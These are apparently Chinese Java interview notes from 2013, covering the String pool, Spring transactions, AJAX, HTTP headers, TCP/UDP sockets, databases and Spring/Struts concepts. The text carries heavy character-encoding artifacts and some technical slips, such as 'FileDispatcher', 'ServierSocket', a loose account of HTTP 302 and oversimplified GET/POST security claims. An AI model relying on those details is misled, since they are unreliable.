問題1、String s="a"+"b"+"c" 創(chuàng)建了幾個(gè)對象? ?
??
就創(chuàng)建了1個(gè) ??
String s = "a" + "b" + "c" + "d" + "e"; ??
賦值符號右邊的"a"、"b"、"c"、"d"、"e"都是常量 ??
對于常量,編譯時(shí)就直接存儲它們的字面值而不是它們的引用 ??
在編譯時(shí)就直接講它們連接的結(jié)果提取出來變成了"abcde" ??
該語句在class文件中就相當(dāng)于String s = "abcde" ??
然后當(dāng)JVM執(zhí)行到這一句的時(shí)候, 就在String pool里找 ??
如果沒有這個(gè)字符串,就會產(chǎn)生一個(gè) ?
??
問題2、Spring事務(wù)管理的7種傳播行為和4種隔離級別? ?
??
REQUIRED:業(yè)務(wù)方法需要在一個(gè)事務(wù)中運(yùn)行。如果方法運(yùn)行時(shí),已經(jīng)處在一個(gè)事務(wù)中,那么加入到該事務(wù),否則為自己創(chuàng)建一個(gè)新的事務(wù)。 ??
??
NOT_SUPPORTED:聲明方法不需要事務(wù)。如果方法沒有關(guān)聯(lián)到一個(gè)事務(wù),容器不會為它開啟事務(wù)。如果方法在一個(gè)事務(wù)中被調(diào)用,該事務(wù)會被掛起,在方法調(diào)用結(jié)束后,原先的事務(wù)便會恢復(fù)執(zhí)行。 ??
??
REQUIRES_NEW:屬性表明不管是否存在事務(wù),業(yè)務(wù)方法總會為自己發(fā)起一個(gè)新的事務(wù)。如果方法已經(jīng)運(yùn)行在一個(gè)事務(wù)中,則原有事務(wù)會被掛起,新的事務(wù)會被創(chuàng)建,直到方法執(zhí)行結(jié)束,新事務(wù)才算結(jié)束,原先的事務(wù)才會恢復(fù)執(zhí)行。 ??
??
MANDATORY:該屬性指定業(yè)務(wù)方法只能在一個(gè)已經(jīng)存在的事務(wù)中執(zhí)行,業(yè)務(wù)方法不能發(fā)起自己的事務(wù)。如果業(yè)務(wù)方法在沒有事務(wù)的環(huán)境下調(diào)用,容器就會拋出例外。 ??
??
SUPPORTS:這一事務(wù)屬性表明,如果業(yè)務(wù)方法在某個(gè)事務(wù)范圍內(nèi)被調(diào)用,則方法成為該事務(wù)的一部分。如果業(yè)務(wù)方法在事務(wù)范圍外被調(diào)用,則方法在沒有事務(wù)的環(huán)境下執(zhí)行。 ??
NEVER:指定業(yè)務(wù)方法絕對不能在事務(wù)范圍內(nèi)執(zhí)行。如果業(yè)務(wù)方法在某個(gè)事務(wù)中執(zhí)行,容器會拋出例外,只有業(yè)務(wù)方法沒有關(guān)聯(lián)到任何事務(wù),才能正常執(zhí)行。 ??
??
NESTED:如果一個(gè)活動的事務(wù)存在,則運(yùn)行在一個(gè)嵌套的事務(wù)中. 如果沒有活動事務(wù), 則按REQUIRED屬性執(zhí)行。它使用了一個(gè)單獨(dú)的事務(wù),這個(gè)事務(wù)擁有多個(gè)可以回滾的保存點(diǎn)。內(nèi)部事務(wù)的回滾不會對外部事務(wù)造成影響。它只對DataSourceTransactionManager事務(wù)管理器起效 ?
??
事務(wù)隔離級別: ?
??
數(shù)據(jù)庫系統(tǒng)提供了四種事務(wù)隔離級別供用戶選擇。不同的隔離級別采用不同的鎖類型來實(shí)現(xiàn),在四種隔離級別中,Serializable的隔離級別最高,ReadUncommited的隔離級別最低。 ?
大多數(shù)據(jù)庫默認(rèn)的隔離級別為ReadCommited,如SqlServer、Oracle,當(dāng)然也有少部分?jǐn)?shù)據(jù)庫默認(rèn)的隔離級別為RepeatableRead,如Mysql。 ?
??
ReadUncommited:讀未提交數(shù)據(jù)(會出現(xiàn)臟讀,不可重復(fù)讀和幻讀) ?
ReadCommited:讀已提交數(shù)據(jù)(會出現(xiàn)不可重復(fù)讀和幻讀) ?
RepeatableRead:可重復(fù)讀(會出現(xiàn)幻讀) ?
Serializable:串行化 ?
??
臟讀:一個(gè)事務(wù)讀取到另一事務(wù)未提交的更新新?lián)??
不可重復(fù)讀:在同一事務(wù)中,多次讀取同一數(shù)據(jù)返回的結(jié)果有所不同。換句話說就是,后續(xù)讀取可以讀到另一事務(wù)已提交的更新數(shù)據(jù)。相反,“可重復(fù)讀”在同一事務(wù)中多次讀取數(shù)據(jù)時(shí),能夠保證所讀數(shù)據(jù)一樣,也就是,后續(xù)讀取不能讀到另一事務(wù)已提交的更新數(shù)據(jù)。 ?
幻讀:一個(gè)事務(wù)讀取到另一事務(wù)已提交的insert數(shù)據(jù)。 ?
??
問題3、AJAX的原理? ?
??
AJAX的原理簡單來說通過XmlHttpRequest對象來向服務(wù)器發(fā)異步請求,從服務(wù)器獲得數(shù)據(jù),然后用JavaScript來操作DOM而更新頁面。這其中最關(guān)鍵的一步就是從服務(wù)器獲得請求數(shù)據(jù)。要清楚這個(gè)過程和原理,我們必須對 XMLHttpRequest有所了解。 ?
XMLHttpRequest是AJAX的核心機(jī)制,它是在IE5中首先引入的,是一種支持異步請求的技術(shù)。簡單的說,也就是JavaScript可以及時(shí)向服務(wù)器提出請求和處理響應(yīng),而不阻塞用戶。達(dá)到無刷新的效果。 ?
所以我們先從XMLHttpRequest講起,來看看它的工作原理。首先,我們先來看看XMLHttpRequest這個(gè)對象的屬性。 ?
? 它的屬性有: ?
onReadyStateChange ? ?每次狀態(tài)改變所觸發(fā)事件的事件處理程序 ?
responseText ? ? ?從服務(wù)器進(jìn)程返回?cái)?shù)據(jù)的字符串形式 ?
responseXML ? ? ? ? ? 從服務(wù)器進(jìn)程返回的DOM兼容的文檔數(shù)據(jù)對象 ?
status ? ? ? ? ? ? ?從服務(wù)器返回的數(shù)字代碼,比如常見的404(未找到)和200(已就緒) ?
status Text ? ? ? ? ? 伴隨狀態(tài)碼的字符串信息 ?
readyState ? ? ? ? ? ?對象狀態(tài)值 ?
??
0 (未初始化) ? ? ?對象已建立,但是尚未初始化(尚未調(diào)用open方法) ?
1 (初始化) ? ? ? ? ? 對象已建立,尚未調(diào)用send方法 ?
2 (發(fā)送數(shù)據(jù)) ? ? ?send方法已調(diào)用,但是當(dāng)前的狀態(tài)及http頭未知 ?
3 (數(shù)據(jù)傳送中) ? ? 已接收部分?jǐn)?shù)據(jù),因?yàn)轫憫?yīng)及http頭不全,這時(shí)通過responseBody和responseText獲取部分?jǐn)?shù)據(jù)會出現(xiàn)錯誤 ?
4 (完成) ? ? ? ? ? ?數(shù)據(jù)接收完畢,此時(shí)可以通過通過responseXml和responseText獲取完整的回應(yīng)數(shù)據(jù) ?
??
函數(shù)首先檢查XMLHttpRequest的整體狀態(tài)并且保證它已經(jīng)完成(readyStatus=4),即數(shù)據(jù)已經(jīng)發(fā)送完畢。然后根據(jù)服務(wù)器的設(shè)定詢問請求狀態(tài),如果一切已經(jīng)就緒(status=200),那么就執(zhí)行下面需要的操作。 ?
??
對于XmlHttpRequest的兩個(gè)方法,open和send,其中open方法指定了: ?
a、向服務(wù)器提交數(shù)據(jù)的類型,即post還是get。 ?
b、請求的url地址和傳遞的參數(shù)。 ?
c、傳輸方式,false為同步,true為異步。默認(rèn)為true。如果是異步通信方式(true),客戶機(jī)就不等待服務(wù)器的響應(yīng);如果是同步方式(false),客戶機(jī)就要等到服務(wù)器返回消息后才去執(zhí)行其他操作。我們需要根據(jù)實(shí)際需要來指定同步方式,在某些頁面中,可能會發(fā)出多個(gè)請求,甚至是有組織有計(jì)劃有隊(duì)形大規(guī)模的高強(qiáng)度的request,而后一個(gè)是會覆蓋前一個(gè)的,這個(gè)時(shí)候當(dāng)然要指定同步方式。 ?
Send方法用來發(fā)送請求。 ?
??
? 知道了XMLHttpRequest的工作流程,我們可以看出,XMLHttpRequest是完全用來向服務(wù)器發(fā)出一個(gè)請求的,它的作用也局限于此,但它的作用是整個(gè)AJAX實(shí)現(xiàn)的關(guān)鍵,因?yàn)锳JAX無非是兩個(gè)過程,發(fā)出請求和響應(yīng)請求。并且它完全是一種客戶端的技術(shù)。而XMLHttpRequest正是處理了服務(wù)器端和客戶端通信的問題所以才會如此的重要。 ?
現(xiàn)在,我們對AJAX的原理大概可以有一個(gè)了解了。我們可以把服務(wù)器端看成一個(gè)數(shù)據(jù)接口,它返回的是一個(gè)純文本流,當(dāng)然,這個(gè)文本流可以是XML格式,可以是Html,可以是JavaScript代碼,也可以只是一個(gè)字符串。這時(shí)候,XMLHttpRequest向服務(wù)器端請求這個(gè)頁面,服務(wù)器端將文本的結(jié)果寫入頁面,這和普通的web開發(fā)流程是一樣的,不同的是,客戶端在異步獲取這個(gè)結(jié)果后,不是直接顯示在頁面,而是先由JavaScript來處理,然后再顯示在頁面。 ?
??
問題4、字符串比較題? ?
??
String hello = "hello"; ?
? ? ? ? String hel = "hel"; ?
? ? ? ? String lo = "lo"; ?
? ? ? ? // 在"+"兩邊都是常量字符串,則將兩個(gè)字符串合并并且在String Pool中查找"hello" ?
? ? ? ? // 并返回在String Pool中的內(nèi)存地址正好也是hello變量的內(nèi)存地址,所以第一句代碼會輸出true。 ?
? ? ? ? System.out.println(hello == "hel" + "lo");// true ?
? ? ? ? System.out.println("hello" == "hel" + "lo");// true ?
? ? ? ? // 如果在"+"兩邊有一邊是引用類型變量,Java會將合并成一個(gè)字符串并且在堆棧中創(chuàng)建一個(gè) ?
? ? ? ? // 新的對象并且返回內(nèi)存地址,所以這句代碼是輸出false。 ?
? ? ? ? System.out.println(hello == hel + "lo"); // false ?
? ? ? ? System.out.println(hello == hel + lo); // false ?
??
??
問題5、說說什么是分布式和集群? ?
??
分布式強(qiáng)調(diào)同一個(gè)業(yè)務(wù)被分拆成不同的子業(yè)務(wù),被部署在不同的服務(wù)器上(可能是性能的問題,也可能是安全的問題,也可能是模塊對服務(wù)器的需求不同的問題將業(yè)務(wù)進(jìn)行分解),服務(wù)器可以跨域也可以同域。 ?
??
而集群偏重平行處理,一臺服務(wù)器不能提供足夠的能力,而采用多臺服務(wù)器并行處理一個(gè)問題。 ?
??
集群是指所有的設(shè)備共同完成相同的功能,每一個(gè)設(shè)備的功能都是完整的,但是在外界看來是一個(gè)設(shè)備。 ?
分布式是所有的設(shè)備集結(jié)后,共同組成一個(gè)體系,相互之間協(xié)同工作,同時(shí)又各自完成自己的相應(yīng)的工作,但是所有的功能不是在一個(gè)設(shè)備上,而是由不同的設(shè)備完成,但是由一個(gè)設(shè)備作為統(tǒng)一的接入點(diǎn)和協(xié)調(diào)點(diǎn)。 ?
??
問題6、說說你對HTTP協(xié)議的了解? ?
??
HTTP協(xié)議主要有用于做客戶端瀏覽器和Web服務(wù)器之間的一個(gè)通訊規(guī)則(TCP/IP)。該協(xié)議主要規(guī)定的是傳輸HTML(超文本)的格式,其中包含了很多的消息頭信息,可以幫助底層的Socket進(jìn)行識別具體的信息,那么對于開發(fā)者而言,如果掌握了HTTP協(xié)議的基本通信規(guī)則有利于后期的JavaEE開發(fā)。 ?
?
默認(rèn)的瀏覽器是無法進(jìn)行協(xié)議的通信內(nèi)容查看的,因此我們?yōu)g覽器上需要安裝一個(gè)額外的插件:HTTP Watch。 ?
?
?
HTTP協(xié)議有1.0和1.1版本: ?
HTTP1.0的協(xié)議主要用于對每一次請求建立新的連接。這樣會導(dǎo)致連接的次數(shù)過于頻繁,導(dǎo)致速度降低。 ?
HTTP1.1可以使得客戶端建立一定時(shí)間范圍內(nèi)的持續(xù)連接。 ?
??
請求分析 ?
瀏覽器在發(fā)送請求的時(shí)候,會默認(rèn)給請求進(jìn)行封裝,給一個(gè)請求上面添加HTTP協(xié)議相關(guān)的頭信息。常見的信息如下: ?
GET /books/java.html HTTP/1.1 ? ? ? ? ? 請求行 ?
Accept: */* ? ? ? ? ? ? ? ? ? ? ? ? ? ?請求頭 ?
Accept-Language: en-us ?
Connection: Keep-Alive ?
Host: localhost ?
Referer: http://localhost/links.asp ?
User-Agent: Mozilla/4.0 ?
Accept-Encoding: gzip, deflate ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?空白行 ?
請求行: ?
GET ? ? ? /books/java.html ? ? ? HTTP/1.1 ? ?
請求方式 ? ?請求的資源 ? ? ?請求使用的協(xié)議和版本 ?
請求方式:HTML表單、GET和POST ?
GET請求方式最大的特點(diǎn)是會將參數(shù)綁定在URL地址欄的后面進(jìn)行傳遞,因此傳遞的數(shù)據(jù)是有限的且是明文的。 ?
POST請求方式,該方式會將參數(shù)指定在請求體中進(jìn)行傳遞。 ?
常見的請求頭分析:瀏覽器生成出來的信息,該信息想要通知服務(wù)器一些信息。 ?
Accept: */* ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?通知服務(wù)器瀏覽器可以接受的數(shù)據(jù)類型 ?
Accept-Language: en-us ? ? ? ? ? ? ? ? ? 通知服務(wù)器瀏覽器使用的語言 ?
Connection: Keep-Alive ? ? ? ? ? ? ? ? ? 通知服務(wù)器在特定時(shí)間內(nèi)保持連接 ?
Host: localhost ? ? ? ? ? ? ? ? ? ? ?通知服務(wù)器瀏覽器使用的主機(jī) ?
Referer: http://localhost/links.asp ? ? ? ? ?通知服務(wù)器該請求來自于哪一個(gè)頁面 ?
User-Agent: Mozilla/4.0 ? ? ? ? ? ? ? ? ?通知服務(wù)器瀏覽器的版本 ?
Accept-Encoding: gzip, deflate ? ? ? ? ? 通知服務(wù)器瀏覽器可以接受的編碼格式 ?
??
響應(yīng)分析 ?
瀏覽器給服務(wù)器發(fā)送了一個(gè)消息,那么服務(wù)器一定會給瀏覽器返回一個(gè)響應(yīng)消息。 ?
HTTP/1.1 200 OK ? ? ? ? ? ? ? ? ? ? ?響應(yīng)行 ?
Server: Apache-Coyote/1.1 ? ? ? ? ? ? ? ?響應(yīng)頭 ?
Accept-Ranges: bytes ?
ETag: W/"272-1351567272000" ?
Last-Modified: Tue, 30 Oct 2012 03:21:12 GMT ?
Content-Type: text/html ?
Content-Length: 272 ?
Date: Tue, 30 Oct 2012 06:27:26 GMT ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?空白行 ?
< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> ?
< html>….</html> ? ? ? ? ? ? ? ? ? ? ?響應(yīng)體 ?
HTTP/1.1 ? ? ? ? 200 ? ? ? ? ? ? ?OK ? ? ? ?響應(yīng)行 ?
響應(yīng)的協(xié)議版本 ? 響應(yīng)的狀態(tài)碼 ? ?對響應(yīng)碼的具體描述 ?
常見的響應(yīng)碼: ?
200 ? 響應(yīng)成功 ?
302 ? 繼續(xù)細(xì)化您的請求 ?
404 ? 請求資源無法找到 ?
500 ? 服務(wù)器錯誤 ?
Location: http://www.it315.org/index.jsp ? ? 通知瀏覽器需要細(xì)化的請求地址 ?
Server:apache tomcat ? ? ? ? ? ? ? ? ? ? 通知瀏覽器服務(wù)器使用的服務(wù)器型號 ?
Content-Encoding: gzip ? ? ? ? ? ? ? 通知瀏覽器服務(wù)器發(fā)送的數(shù)據(jù)類型 ?
Content-Length: 80 ? ? ? ? ? ? ? ? ? 通知瀏覽器壓縮數(shù)據(jù)的大小 ?
Content-Language: zh-cn ? ? ? ? ? ? ? ? ?通知瀏覽器服務(wù)器發(fā)送數(shù)據(jù)的語言 ?
Content-Type: text/html; charset=GB2312 ? ? ?通知瀏覽器服務(wù)器發(fā)送數(shù)據(jù)的內(nèi)容類型、編碼 ?
Last-Modified: Tue, 11 Jul 2000 18:23:51 GMT ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?通知瀏覽器請求的資源最后一個(gè)修改的時(shí)間 ?
Refresh: 1;url=http://www.it315.org ? ? ?通知瀏覽器定時(shí)刷新 ?
Content-Disposition: attachment; filename=aaa.zip ?通知瀏覽器內(nèi)容的處理方式(下載) ?
Transfer-Encoding: chunked ? ? ? ? ? ? ? 通知瀏覽器數(shù)據(jù)以數(shù)據(jù)塊的方式逐一發(fā)送 ?
Set-Cookie:SS=Q0=5Lb_nQ; path=/search ? ?通知瀏覽器需要存儲Cookie數(shù)據(jù) ?
Expires: -1 ? ? ? ? ? ? ? ? ? ? ? ? ?通知瀏覽器不要緩存當(dāng)前的頁面 ?
Cache-Control: no-cache ? ?
Pragma: no-cache ? ??
Connection: close/Keep-Alive ? ? ? ? ? ? 通知瀏覽器保持或關(guān)閉連接 ?
Date: Tue, 11 Jul 2000 18:23:51 GMT ? ? ?通知瀏覽器服務(wù)器處理請求的時(shí)間 ?
??
問題7、說說你對TCP和UDP協(xié)議的了解? ?
??
TCP ?
Transmission Control Protocol (傳輸控制協(xié)議) ?
特點(diǎn): ?
面向連接、可靠、效率稍低 ?
通過三次握手,建立連接,形成傳輸數(shù)據(jù)的通道。在連接中進(jìn)行大數(shù)據(jù)量傳輸 ?
例如: ?
? ? 因?yàn)門CP協(xié)議能夠發(fā)現(xiàn)丟失的傳輸數(shù)據(jù)并重新發(fā)送,所以適合文件傳輸,接收郵件 ?
??
??
UDP ?
User Datagram Protocol (用戶數(shù)據(jù)報(bào)協(xié)議) ?
特點(diǎn): ?
無連接、不可靠、速度快 ?
將數(shù)據(jù)及源和目的封裝成數(shù)據(jù)包中,不需要建立連接。每個(gè)數(shù)據(jù)報(bào)的大小在限制在64k內(nèi) ?
例如: ?
? ? UDP協(xié)議不能保證傳輸沒有丟失 ?
視頻通話,即時(shí)通信,IP電話 (VoIP)電話 ?
??
??
UDP需要學(xué)習(xí)使用的類: ?
DatagramSocket ?
DatagramPacket ?
需要建立發(fā)送端,接收端。 ?
建立數(shù)據(jù)包。將數(shù)據(jù)存儲在數(shù)據(jù)包中. ?
調(diào)用Socket的發(fā)送接收方法。 ?
關(guān)閉Socket。 ?
發(fā)送端與接收端是兩個(gè)獨(dú)立的運(yùn)行程序。 ?
??
UDP發(fā)送: ?
第一步:創(chuàng)建Socket ?
? ? 需要創(chuàng)建Socket, 發(fā)送端不需要指定ip地址和端口, 使用本機(jī)地址發(fā)送, 會自動找到未使用的端口。 ?
需要使用DatagramSocket此類表示用來發(fā)送和接收數(shù)據(jù)報(bào)包的套接字。 ?
java.lang.Object ?
? java.net.DatagramSocket ?
可以通過構(gòu)造函數(shù)創(chuàng)建該Socket對象 ?
DatagramSocket socket = new DatagramSocket(); ?
第二步:創(chuàng)建數(shù)據(jù)包 ?
? ? 發(fā)送時(shí)需要創(chuàng)建數(shù)據(jù)包如何創(chuàng)建數(shù)據(jù)包?使用DatagramPacket ?
java.lang.Object ?
? java.net.DatagramPacket ? ?此類表示數(shù)據(jù)報(bào)包。 ??
創(chuàng)建數(shù)據(jù)包時(shí)需要通過構(gòu)造函數(shù)指定發(fā)送的數(shù)據(jù)(字節(jié)數(shù)組),數(shù)據(jù)長度(數(shù)組長度),接受方的IP地址(InteAddress類),接受方端口號(port)。 ?
構(gòu)造函數(shù): ?
DatagramPacket(byte[] buf, int length, InetAddress address, int port) ??
? ? ? ? ? 構(gòu)造數(shù)據(jù)報(bào)包,用來將長度為 length 的包發(fā)送到指定主機(jī)上的指定端口號。 ?
第三步:發(fā)送數(shù)據(jù) ?
有了Socket 有了數(shù)據(jù),如何發(fā)送數(shù)據(jù)包?使用Socket的send方法將數(shù)據(jù)包發(fā)送出去 ?
?void ?send(DatagramPacket p) ??
? ? ? ? ? 從此套接字發(fā)送數(shù)據(jù)報(bào)包。 ?
??
第四步:關(guān)閉Socket ?
使用Socket的close方法關(guān)閉。 ?
void close() ??
? ? ? ? ? 關(guān)閉此數(shù)據(jù)報(bào)套接字。 ?
注意: 在發(fā)送端,要在數(shù)據(jù)包對象中明確目的地IP及端口。 ?
??
UDP接收 ?
第一步:需要創(chuàng)建Socket, ?
接收時(shí)必須指定端口號. ?
DatagramSocket socket = new DatagramSocket(8888); ?
第二步:創(chuàng)建數(shù)據(jù)包, ?
接收時(shí)也需要創(chuàng)建數(shù)據(jù)包, 用來存儲數(shù)據(jù). 需要一個(gè)字節(jié)數(shù)組. ?
DatagramPacket packet = new DatagramPacket(new byte[1024], 1024); ?
接收數(shù)據(jù) ?
第三步:接收數(shù)據(jù) ?
使用DatagramSocket 的receive方法接收數(shù)據(jù).該方法需要指定數(shù)據(jù)包. ?
socket.receive(packet); ?
第四步: 從數(shù)據(jù)包中獲取數(shù)據(jù) ?
byte[] data = packet.getData(); ?
第五步:獲取數(shù)據(jù)長度 ?
int len = packet.getLength(); ?
第六步:獲取發(fā)送端ip地址 ?
packet.getInetAddress().getHostAddress(); ?
第七步:獲取發(fā)送端端口號 ?
packet.getPort(); ?
第八步:關(guān)閉socket ?
socket.close(); ?
注意: 在接收端,要指定監(jiān)聽的端口。 ?
??
TCP客戶端 ?
第一步:創(chuàng)建客戶端Socket ?
需要指定連接到服務(wù)器的地址和端口號, 并嘗試連接 ?
客戶端需要明確服務(wù)器的ip地址以及端口,這樣才可以去試著建立連接,如果連接失敗,會出現(xiàn)異常。 ?
Socket socket = new Socket("192.168.1.220", 8888); ?
第二步:連接成功獲取輸入輸出流 ?
連接成功,說明客戶端與服務(wù)端建立了通道,那么通過IO流就可以進(jìn)行數(shù)據(jù)的傳輸,而Socket對象已經(jīng)提供了輸入流和輸出流對象,通getInputStream(),getOutputStream()獲取即可。 ?
socket.getInputStream(); ?
socket.getOuputStream(); ?
第三步: 將數(shù)據(jù)寫出到服務(wù)端 ?
使用字節(jié)輸出流的write() 方法 ?
第四步:關(guān)閉socket ? ? ?
? ? ? ? 調(diào)用close方法 ?
連接成功之后獲取輸入輸出流 ?
? ? ? ? socket.getInputStream(); ?
? ? ? ? socket.getOuputStream(); ?
? ? ? ? 獲取流之后就可以通過輸入輸出流發(fā)送和讀取數(shù)據(jù)了, 客戶端的輸入流連接服務(wù)端輸出流, 客戶端輸出流連接服務(wù)端輸入流 ?
客戶端案例: ?
public class TcpClient { ?
? ? public static void main(String[] args) throws IOException, IOException { ?
? ? ? ? System.out.println("客戶端啟動..."); ?
? ? ? ? // 創(chuàng)建客戶端 ?
? ? ? ? Socket socket = new Socket("127.0.0.1", 50000); ?
? ? ? ? // 與服務(wù)端建立連接,獲取輸入輸出流 ?
? ? ? ? InputStream in = socket.getInputStream(); ?
? ? ? ? OutputStream out = socket.getOutputStream(); ?
? ? ? ? // 將數(shù)據(jù)寫出到服務(wù)端 ?
? ? ? ? System.out.println("客戶端發(fā)送數(shù)據(jù)..."); ?
? ? ? ? out.write("Tcp,你好我是客戶端...".getBytes()); ?
? ? ? ? // 關(guān)閉socket ?
? ? ? ? out.close(); ?
? ? } ?
} ?
??
??
TCP服務(wù)端 ?
第一步: 創(chuàng)建服務(wù)端 ?
ServerSocket, 需要指定端口號. 客戶端連接的就是這個(gè)端口. ?
java.lang.Object ?
? java.net.ServerSocket ?
創(chuàng)建ServerSocket ?
ServerSocket serverSocket = new ServierSocket(8888); ?
第二步:和客戶端建立連接 ?
通過accept方法 ?
Socket accept() ??
? ? ? ? ? 偵聽并接受到此套接字的連接。 ?
該方法會偵聽是否有客戶端連接,如果有建立連接,并獲取客戶端的Socket ?
也就是說服務(wù)端創(chuàng)建之后可以獲取客戶端連接, 返回一個(gè)Socket對象, 這個(gè)Socket就是和客戶端連接的Socket ?
Socket socket = serverSocket.accept(); ?
第三步: 接受客戶端的數(shù)據(jù),獲取客戶端的數(shù)據(jù) ?
服務(wù)端獲取這個(gè)socket的輸入輸出流, 就可以和客戶端發(fā)送接收數(shù)據(jù)了socket.getInputStream(); ?
socket.getOutputStream(); ?
第四步:獲取客戶端的ip地址和端口號 ?
使用服務(wù)端獲取的Socket 獲取ip地址和端口. ?
InetAddress getInetAddress() ??
? ? ? ? ? 返回套接字連接的地址。 ?
??
int getPort() ??
? ? ? ? ? 返回此套接字連接到的遠(yuǎn)程端口。 ?
??
第五步:關(guān)閉客戶端和服務(wù)端 ?
在服務(wù)端中分別調(diào)用close方法. ?
??
2013年8月27日: ?
??
問題1、jQuery中AJAX發(fā)送請求的方法,get請求和post請求有什么區(qū)別? ?
??
get是從服務(wù)器獲取數(shù)據(jù),post是向服務(wù)器發(fā)送數(shù)據(jù) ?
get是小數(shù)據(jù)量傳輸,post是大數(shù)據(jù)量傳輸 ?
get請求的參數(shù)隊(duì)列會在是通過url地址傳輸,在url地址上就能看到傳輸?shù)膮?shù),post看不到 ?
get安全性低,post安全性高,但get的執(zhí)行效率比post高 ?
如果是傳輸機(jī)密信息建議用post ?
如果是數(shù)據(jù)查詢建議用get ?
??
問題2、Mysql和Oracle數(shù)據(jù)庫的區(qū)別? ?
??
Oracle是付費(fèi)的,安全性能更高,一般銀行系統(tǒng)這種安全性要求很高的系統(tǒng)都是用Oracle ?
Oracle對權(quán)限的管理非常細(xì)致,做的非常好,大概有159種權(quán)限,Mysql只有27種 ?
主鍵,Oracle不可以實(shí)現(xiàn)自增,Mysql可以實(shí)現(xiàn)自增,Oracle需要新建序列實(shí)現(xiàn),SEQ_USER_Id.nextval ?
Oracle的分頁方法和Mysql的分頁方法比起來非常麻煩,Oracle需要用到個(gè)子查詢,Mysql用一個(gè)limit方法搞定,而且分頁時(shí),Mysql的游標(biāo)從0開始,Oracle從1開始 ?
Mysql屬于中型數(shù)據(jù)庫,Oracle屬于大型數(shù)據(jù)庫,但并不是說Mysql不能支撐大型應(yīng)用,而是從功能上來看,Oracle擁有更豐富和完善的功能,不過一般我們也是使用他的一部分常用功能,而這一部分功能Mysql也是具備的 ?
在程序員的角度上來說,Mysql比Oracle更加簡單一些 ?
在細(xì)節(jié)的使用上來說Mysql在字符串上可以用單引號也可以用雙引號,Oracle則必須使用單引號 ?
??
問題3、簡述Struts2框架? ?
??
Struts2是基于JSP和Servlet的一個(gè)開源web應(yīng)用框架,使用MVC設(shè)計(jì)模式,結(jié)構(gòu)清晰,使程序員可以只關(guān)注業(yè)務(wù)邏輯,還具有豐富的標(biāo)簽庫可以使用。 ?
?
Struts2工作流程: ?
客戶端發(fā)送請求 ?
根據(jù)web.xml,請求被FileDispatcher接收 ?
根據(jù)struts.xml的配置,找到需要調(diào)用的Action類,通過IOC方式將值注入給Action,Action調(diào)用業(yè)務(wù)邏輯組件處理業(yè)務(wù)邏輯。如果有配置攔截器,這一步還包含了攔截器 ?
Action執(zhí)行完畢,根據(jù)struts.xml中的配置找到對應(yīng)的Result,并跳轉(zhuǎn)到相應(yīng)頁面 ?
響應(yīng)到客戶端瀏覽器 ?
??
問題4、簡述AOP用什么技術(shù)實(shí)現(xiàn)的? ?
??
動態(tài)代理技術(shù)實(shí)現(xiàn)的,如果用JDK實(shí)現(xiàn)動態(tài)代理,需要利用Proxy類和InvocationHandler接口 ?
??
問題5、IOC和new有什么區(qū)別? ?
??
IOC即是控制反轉(zhuǎn)也叫依賴注入,他是通過IOC容器來生成對象,控制對象的生命周期,同時(shí)IOC把零散的部件組成了一個(gè)整體,從而達(dá)到疏散耦合的效果,我們可以利用Spring的配置,來讓IOC決定給我們注入的是一個(gè)已有對象,還是新建一個(gè)對象。 ?
而new是每次拿到的都是一個(gè)新的對象,同時(shí)也不便于管理。 ?
??
問題6、什么是綁定變量? ?
??
變量綁定就是使用PreparedStatment對SQL語句進(jìn)行一個(gè)預(yù)編譯,其中有一些我們需要為其指定的參數(shù),我們會在稍后為數(shù)據(jù)庫指定這些參數(shù)的值,綁定變量的好處可以防止SQL注入,避免sql語句的硬解析。 ?
查詢通常只是因?yàn)楦淖僕HERE子句中的內(nèi)容而產(chǎn)生不同的結(jié)果。為了在這種情況下避免硬解析,需要使用綁定變量(bind variable)。它是用戶放入查詢中的占位符,它會告訴Oracle"我會隨后為這個(gè)變量提供一個(gè)值,現(xiàn)在需要生成一個(gè)方案,但我實(shí)際執(zhí)行語句的時(shí)候,我會為您提供應(yīng)該使用的實(shí)際值"。 ?
例如: ?
select * from emp where ename='KING'; ? //不使用綁定變量 ??
select * from emp where ename=:bv; ? ? ?//使用綁定變量 ?
??
問題7、delete、truncate、drop的異同? ?
??
相同點(diǎn): ?
truncate和不帶where子句的delete, 以及drop都會刪除表內(nèi)的數(shù)據(jù) ?
drop,truncate都是DDL(數(shù)據(jù)定義語言)語句,執(zhí)行后會自動提交 ?
??
不同點(diǎn): ?
truncate和 delete只刪除數(shù)據(jù)不刪除表的結(jié)構(gòu)(定義) ??
drop語句將刪除表的結(jié)構(gòu)被依賴的約束(constrain),觸發(fā)器(trigger),索引(index); ?
依賴于該表的存儲過程/函數(shù)將保留,但是變?yōu)閕nvalid無效狀態(tài) ?
??
delete語句是DML,這個(gè)操作會放到rollback segement回滾段中,事務(wù)提交之后才生效;如果有相應(yīng)的trigger,執(zhí)行的時(shí)候?qū)⒈挥|發(fā) ?
truncate,drop是DDL,操作立即生效,原數(shù)據(jù)不放到rollback segment中,不能回滾,操作不觸發(fā)trigger ?
??
速度,一般來說:drop > truncate > delete ?
??
delete是DML語句,不會自動提交 ?
drop,truncate都是DDL(數(shù)據(jù)定義語言)語句,執(zhí)行后會自動提交 ?
??
問題8、IOC和工廠模式的區(qū)別? ?
??
使用Spring框架中IOC能得到與工廠模式同樣的效果,而且編碼更加簡潔、靈活和方便。 ?
除非重新編譯,否則無法對“產(chǎn)品的實(shí)現(xiàn)類”進(jìn)行替換,必須重新編譯工廠類來達(dá)到所要求的改變,但這樣將使得原本可以取得的易用性將大大降低 ?
無法在單例和原型之間切換產(chǎn)品對象實(shí)例產(chǎn)生的模式 ?
無法透明地為不同的產(chǎn)品組件類提供多種不同形式的實(shí)現(xiàn)。這是開發(fā)者在應(yīng)用工廠模式時(shí)比較頭疼的一個(gè)問題,因?yàn)楣S模式中的工廠類要求每個(gè)產(chǎn)品組件類都必須遵從在產(chǎn)品接口中定義的方法和結(jié)構(gòu)特征。一個(gè)接口常常意味著一個(gè)生成工廠,當(dāng)接口為多個(gè)時(shí),將會出現(xiàn)許多不同的工廠類。 ?
??
2013年8月28日:萬迅電腦軟件 ?
??
問題1、JSP經(jīng)Tomcat編譯后的.class文件位置? ?
??
? ? ? ? ? ? ??
??
